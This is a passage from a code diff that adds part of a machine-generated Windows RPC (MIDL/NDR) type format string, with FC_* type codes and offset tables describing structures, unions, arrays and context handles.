FC_LONG */ +/* 1270 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1272 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 1274 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 1276 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 1278 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1280 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1282 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 1284 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1286 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1288 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1290 */ NdrFcShort( 0xff82 ), /* Offset= -126 (1164) */ +/* 1292 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1294 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1296 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1298 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1300 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1302 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1304 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1306 */ NdrFcShort( 0xff88 ), /* Offset= -120 (1186) */ +/* 1308 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 1310 */ NdrFcShort( 0x2 ), /* Offset= 2 (1312) */ +/* 1312 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 1314 */ 0x0, /* 0 */ + 0x1, /* 1 */ +/* 1316 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 1318 */ NdrFcShort( 0x2 ), /* Offset= 2 (1320) */ +/* 1320 */ + 0x12, 0x0, /* FC_UP */ +/* 1322 */ NdrFcShort( 0x18 ), /* Offset= 24 (1346) */ +/* 1324 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 1326 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 1328 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 1330 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1332 */ NdrFcShort( 0x2 ), /* Offset= 2 (1334) */ +/* 1334 */ NdrFcShort( 0x8 ), /* 8 */ +/* 1336 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1338 */ NdrFcLong( 0x1 ), /* 1 */ +/* 1342 */ NdrFcShort( 0xfecc ), /* Offset= -308 (1034) */ +/* 1344 */ NdrFcShort( 0xffff ), /* Offset= -1 (1343) */ +/* 1346 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 1348 */ NdrFcShort( 0x10 ), /* 16 */ +/* 1350 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1352 */ NdrFcShort( 0x0 ), /* Offset= 0 (1352) */ +/* 1354 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 1356 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1358 */ NdrFcShort( 0xffde ), /* Offset= -34 (1324) */ +/* 1360 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1362 */ + 0x12, 0x0, /* FC_UP */ +/* 1364 */ NdrFcShort( 0x1a ), /* Offset= 26 (1390) */ +/* 1366 */ + 0x1b, /* FC_CARRAY */ + 0x7, /* 7 */ +/* 1368 */ NdrFcShort( 0x8 ), /* 8 */ +/* 1370 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 1372 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1374 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1376 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 1378 */ + 0x1b, /* FC_CARRAY */ + 0x3, /* 3 */ +/* 1380 */ NdrFcShort( 0x4 ), /* 4 */ +/* 1382 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 1384 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1386 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1388 */ 0x8, /* FC_LONG */ + 0x5b, /* FC_END */ +/* 1390 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 1392 */ NdrFcShort( 0x18 ), /* 24 */ +/* 1394 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1396 */ NdrFcShort( 0x8 ), /* Offset= 8 (1404) */ +/* 1398 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 1400 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 1402 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1404 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1406 */ NdrFcShort( 0xffd8 ), /* Offset= -40 (1366) */ +/* 1408 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1410 */ NdrFcShort( 0xffe0 ), /* Offset= -32 (1378) */ +/* 1412 */ + 0x11, 0x8, /* FC_RP [simple_pointer] */ +/* 1414 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1416 */ + 0x11, 0x0, /* FC_RP */ +/* 1418 */ NdrFcShort( 0xfa86 ), /* Offset= -1402 (16) */ +/* 1420 */ + 0x11, 0x0, /* FC_RP */ +/* 1422 */ NdrFcShort( 0x16 ), /* Offset= 22 (1444) */ +/* 1424 */ + 0x15, /* FC_STRUCT */ + 0x7, /* 7 */ +/* 1426 */ NdrFcShort( 0x10 ), /* 16 */ +/* 1428 */ 0xb, /* FC_HYPER */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 1430 */ 0x0, /* 0 */ + NdrFcShort( 0xfa85 ), /* Offset= -1403 (28) */ + 0x5b, /* FC_END */ +/* 1434 */ + 0x1d, /* FC_SMFARRAY */ + 0x7, /* 7 */ +/* 1436 */ NdrFcShort( 0x40 ), /* 64 */ +/* 1438 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1440 */ NdrFcShort( 0xfff0 ), /* Offset= -16 (1424) */ +/* 1442 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1444 */ + 0x15, /* FC_STRUCT */ + 0x7, /* 7 */ +/* 1446 */ NdrFcShort( 0xc0 ), /* 192 */ +/* 1448 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1450 */ NdrFcShort( 0xffe6 ), /* Offset= -26 (1424) */ +/* 1452 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1454 */ NdrFcShort( 0xffe2 ), /* Offset= -30 (1424) */ +/* 1456 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1458 */ NdrFcShort( 0xffde ), /* Offset= -34 (1424) */ +/* 1460 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1462 */ NdrFcShort( 0xffda ), /* Offset= -38 (1424) */ +/* 1464 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1466 */ NdrFcShort( 0xffd6 ), /* Offset= -42 (1424) */ +/* 1468 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1470 */ NdrFcShort( 0xffd2 ), /* Offset= -46 (1424) */ +/* 1472 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1474 */ NdrFcShort( 0xffce ), /* Offset= -50 (1424) */ +/* 1476 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1478 */ NdrFcShort( 0xffca ), /* Offset= -54 (1424) */ +/* 1480 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1482 */ NdrFcShort( 0xffd0 ), /* Offset= -48 (1434) */ +/* 1484 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1486 */ + 0x11, 0x0, /* FC_RP */ +/* 1488 */ NdrFcShort( 0x2 ), /* Offset= 2 (1490) */ +/* 1490 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 1492 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1494 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 1496 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1498 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1500 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 1502 */ + 0x11, 0xc, /* FC_RP [alloced_on_stack] [simple_pointer] */ +/* 1504 */ 0x8, /* FC_LONG */ + 0x5c, /* FC_PAD */ +/* 1506 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 1508 */ NdrFcShort( 0x2 ), /* Offset= 2 (1510) */ +/* 1510 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1512 */ NdrFcShort( 0x2 ), /* Offset= 2 (1514) */ +/* 1514 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 1516 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1518 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 1520 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1522 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1524 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 1526 */ + 0x11, 0x0, /* FC_RP */ +/* 1528 */ NdrFcShort( 0x2 ), /* Offset= 2 (1530) */ +/* 1530 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 1532 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1534 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 1536 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1538 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1540 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 1542 */ 0x30, /* FC_BIND_CONTEXT */ + 0x41, /* Ctxt flags: in, can't be null */ +/* 1544 */ 0x0, /* 0 */ + 0x1, /* 1 */ +/* 1546 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 1548 */ NdrFcShort( 0x2 ), /* Offset= 2 (1550) */ +/* 1550 */ + 0x12, 0x0, /* FC_UP */ +/* 1552 */ NdrFcShort( 0x3c ), /* Offset= 60 (1612) */ +/* 1554 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 1556 */ NdrFcShort( 0x40 ), /* 64 */ +/* 1558 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1560 */ NdrFcShort( 0xe ), /* Offset= 14 (1574) */ +/* 1562 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 1564 */ 0xb, /* FC_HYPER */ + 0x36, /* FC_POINTER */ +/* 1566 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 1568 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 1570 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 1572 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 1574 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1576 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1578 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1580 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1582 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1584 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1586 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1588 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1590 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 1592 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1594 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 1596 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1598 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1600 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 1604 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 1606 */ + 0x12, 0x0, /* FC_UP */ +/* 1608 */ NdrFcShort( 0xffca ), /* Offset= -54 (1554) */ +/* 1610 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1612 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 1614 */ NdrFcShort( 0x10 ), /* 16 */ +/* 1616 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1618 */ NdrFcShort( 0x6 ), /* Offset= 6 (1624) */ +/* 1620 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 1622 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 1624 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1626 */ NdrFcShort( 0xffdc ), /* Offset= -36 (1590) */ +/* 1628 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 1630 */ NdrFcShort( 0x2 ), /* Offset= 2 (1632) */ +/* 1632 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1634 */ NdrFcShort( 0x2 ), /* Offset= 2 (1636) */ +/* 1636 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 1638 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1640 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 1642 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1644 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1646 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 1650 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 1652 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1654 */ NdrFcShort( 0xf99a ), /* Offset= -1638 (16) */ +/* 1656 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1658 */ + 0x11, 0x0, /* FC_RP */ +/* 1660 */ NdrFcShort( 0x2 ), /* Offset= 2 (1662) */ +/* 1662 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 1664 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1666 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 1668 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1670 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1672 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 1676 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 1678 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1680 */ NdrFcShort( 0xf980 ), /* Offset= -1664 (16) */ +/* 1682 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1684 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 1686 */ NdrFcShort( 0x2 ), /* Offset= 2 (1688) */ +/* 1688 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1690 */ NdrFcShort( 0x2 ), /* Offset= 2 (1692) */ +/* 1692 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 1694 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1696 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 1698 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1700 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1702 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 1704 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 1706 */ NdrFcShort( 0xf9c4 ), /* Offset= -1596 (110) */ +/* 1708 */ + 0x11, 0x0, /* FC_RP */ +/* 1710 */ NdrFcShort( 0x2 ), /* Offset= 2 (1712) */ +/* 1712 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 1714 */ NdrFcShort( 0x10 ), /* 16 */ +/* 1716 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1718 */ NdrFcShort( 0x6 ), /* Offset= 6 (1724) */ +/* 1720 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1722 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 1724 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1726 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1728 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1730 */ NdrFcShort( 0xff10 ), /* Offset= -240 (1490) */ +/* 1732 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 1734 */ NdrFcShort( 0x2 ), /* Offset= 2 (1736) */ +/* 1736 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1738 */ NdrFcShort( 0x2 ), /* Offset= 2 (1740) */ +/* 1740 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 1742 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1744 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 1746 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 1748 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1750 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 1752 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 1754 */ NdrFcShort( 0xf942 ), /* Offset= -1726 (28) */ +/* 1756 */ + 0x11, 0x0, /* FC_RP */ +/* 1758 */ NdrFcShort( 0x2 ), /* Offset= 2 (1760) */ +/* 1760 */ + 0x15, /* FC_STRUCT */ + 0x3, /* 3 */ +/* 1762 */ NdrFcShort( 0x60 ), /* 96 */ +/* 1764 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1766 */ NdrFcShort( 0xf92a ), /* Offset= -1750 (16) */ +/* 1768 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1770 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1772 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1774 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1776 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1778 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1780 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1782 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1784 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1786 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1788 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1790 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 1792 */ NdrFcShort( 0xfc04 ), /* Offset= -1020 (772) */ +/* 1794 */ + 0x11, 0x0, /* FC_RP */ +/* 1796 */ NdrFcShort( 0xfcc6 ), /* Offset= -826 (970) */ +/* 1798 */ + 0x11, 0x0, /* FC_RP */ +/* 1800 */ NdrFcShort( 0xf976 ), /* Offset= -1674 (126) */ +/* 1802 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 1804 */ NdrFcShort( 0x2 ), /* Offset= 2 (1806) */ +/* 1806 */ + 0x12, 0x0, /* FC_UP */ +/* 1808 */ NdrFcShort( 0x2 ), /* Offset= 2 (1810) */ +/* 1810 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 1812 */ NdrFcShort( 0x8 ), /* 8 */ +/* 1814 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1816 */ NdrFcShort( 0x4 ), /* Offset= 4 (1820) */ +/* 1818 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 1820 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1822 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1824 */ + 0x11, 0x0, /* FC_RP */ +/* 1826 */ NdrFcShort( 0x182 ), /* Offset= 386 (2212) */ +/* 1828 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 1830 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 1832 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 1834 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1836 */ NdrFcShort( 0x2 ), /* Offset= 2 (1838) */ +/* 1838 */ NdrFcShort( 0x8 ), /* 8 */ +/* 1840 */ NdrFcShort( 0x7 ), /* 7 */ +/* 1842 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1846 */ NdrFcShort( 0x28 ), /* Offset= 40 (1886) */ +/* 1848 */ NdrFcLong( 0x1 ), /* 1 */ +/* 1852 */ NdrFcShort( 0x30 ), /* Offset= 48 (1900) */ +/* 1854 */ NdrFcLong( 0x2 ), /* 2 */ +/* 1858 */ NdrFcShort( 0x68 ), /* Offset= 104 (1962) */ +/* 1860 */ NdrFcLong( 0x3 ), /* 3 */ +/* 1864 */ NdrFcShort( 0x80 ), /* Offset= 128 (1992) */ +/* 1866 */ NdrFcLong( 0x4 ), /* 4 */ +/* 1870 */ NdrFcShort( 0x88 ), /* Offset= 136 (2006) */ +/* 1872 */ NdrFcLong( 0x5 ), /* 5 */ +/* 1876 */ NdrFcShort( 0xac ), /* Offset= 172 (2048) */ +/* 1878 */ NdrFcLong( 0x6 ), /* 6 */ +/* 1882 */ NdrFcShort( 0xc4 ), /* Offset= 196 (2078) */ +/* 1884 */ NdrFcShort( 0xffff ), /* Offset= -1 (1883) */ +/* 1886 */ + 0x12, 0x0, /* FC_UP */ +/* 1888 */ NdrFcShort( 0x2 ), /* Offset= 2 (1890) */ +/* 1890 */ + 0x15, /* FC_STRUCT */ + 0x7, /* 7 */ +/* 1892 */ NdrFcShort( 0x10 ), /* 16 */ +/* 1894 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1896 */ NdrFcShort( 0xf8b4 ), /* Offset= -1868 (28) */ +/* 1898 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 1900 */ + 0x12, 0x0, /* FC_UP */ +/* 1902 */ NdrFcShort( 0x2 ), /* Offset= 2 (1904) */ +/* 1904 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 1906 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 1908 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1910 */ NdrFcShort( 0x24 ), /* Offset= 36 (1946) */ +/* 1912 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1914 */ NdrFcShort( 0xf8a2 ), /* Offset= -1886 (28) */ +/* 1916 */ 0xb, /* FC_HYPER */ + 0x36, /* FC_POINTER */ +/* 1918 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 1920 */ 0xb, /* FC_HYPER */ + 0x8, /* FC_LONG */ +/* 1922 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1924 */ NdrFcShort( 0xf88c ), /* Offset= -1908 (16) */ +/* 1926 */ 0x40, /* FC_STRUCTPAD4 */ + 0xb, /* FC_HYPER */ +/* 1928 */ 0x36, /* FC_POINTER */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 1930 */ 0x0, /* 0 */ + NdrFcShort( 0xf891 ), /* Offset= -1903 (28) */ + 0xb, /* FC_HYPER */ +/* 1934 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1936 */ NdrFcShort( 0xf88c ), /* Offset= -1908 (28) */ +/* 1938 */ 0xb, /* FC_HYPER */ + 0xb, /* FC_HYPER */ +/* 1940 */ 0xb, /* FC_HYPER */ + 0xb, /* FC_HYPER */ +/* 1942 */ 0xb, /* FC_HYPER */ + 0xb, /* FC_HYPER */ +/* 1944 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1946 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1948 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1950 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1952 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1954 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1956 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1958 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1960 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1962 */ + 0x12, 0x0, /* FC_UP */ +/* 1964 */ NdrFcShort( 0x2 ), /* Offset= 2 (1966) */ +/* 1966 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 1968 */ NdrFcShort( 0x28 ), /* 40 */ +/* 1970 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1972 */ NdrFcShort( 0xc ), /* Offset= 12 (1984) */ +/* 1974 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1976 */ NdrFcShort( 0xf864 ), /* Offset= -1948 (28) */ +/* 1978 */ 0xb, /* FC_HYPER */ + 0x36, /* FC_POINTER */ +/* 1980 */ 0x36, /* FC_POINTER */ + 0xb, /* FC_HYPER */ +/* 1982 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1984 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1986 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1988 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1990 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1992 */ + 0x12, 0x0, /* FC_UP */ +/* 1994 */ NdrFcShort( 0x2 ), /* Offset= 2 (1996) */ +/* 1996 */ + 0x15, /* FC_STRUCT */ + 0x7, /* 7 */ +/* 1998 */ NdrFcShort( 0x8 ), /* 8 */ +/* 2000 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2002 */ NdrFcShort( 0xf84a ), /* Offset= -1974 (28) */ +/* 2004 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2006 */ + 0x12, 0x0, /* FC_UP */ +/* 2008 */ NdrFcShort( 0x2 ), /* Offset= 2 (2010) */ +/* 2010 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2012 */ NdrFcShort( 0x50 ), /* 80 */ +/* 2014 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2016 */ NdrFcShort( 0x18 ), /* Offset= 24 (2040) */ +/* 2018 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2020 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2022 */ NdrFcShort( 0xf836 ), /* Offset= -1994 (28) */ +/* 2024 */ 0xb, /* FC_HYPER */ + 0x36, /* FC_POINTER */ +/* 2026 */ 0x36, /* FC_POINTER */ + 0xb, /* FC_HYPER */ +/* 2028 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2030 */ NdrFcShort( 0xf82e ), /* Offset= -2002 (28) */ +/* 2032 */ 0xb, /* FC_HYPER */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 2034 */ 0x0, /* 0 */ + NdrFcShort( 0xf829 ), /* Offset= -2007 (28) */ + 0xb, /* FC_HYPER */ +/* 2038 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2040 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2042 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2044 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2046 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD 